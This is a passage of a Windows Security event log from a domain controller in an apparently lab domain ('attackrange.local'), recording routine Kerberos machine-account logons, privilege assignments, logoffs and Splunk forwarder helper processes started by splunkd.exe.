ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62618 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:13:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255470 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x311D89 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:14:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255473 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255474 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x88c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255476 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255475 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x714 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255478 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255477 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255479 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:14:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255482 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x316338 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:14:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255481 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x316338 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62631 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:14:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255480 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x316338 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:15:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255483 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x578 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255484 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255486 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255485 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255488 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf60 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255487 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255489 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:15:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255492 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x319896 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:15:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255491 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x319896 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62644 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:15:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255490 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x319896 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:16:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255493 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: 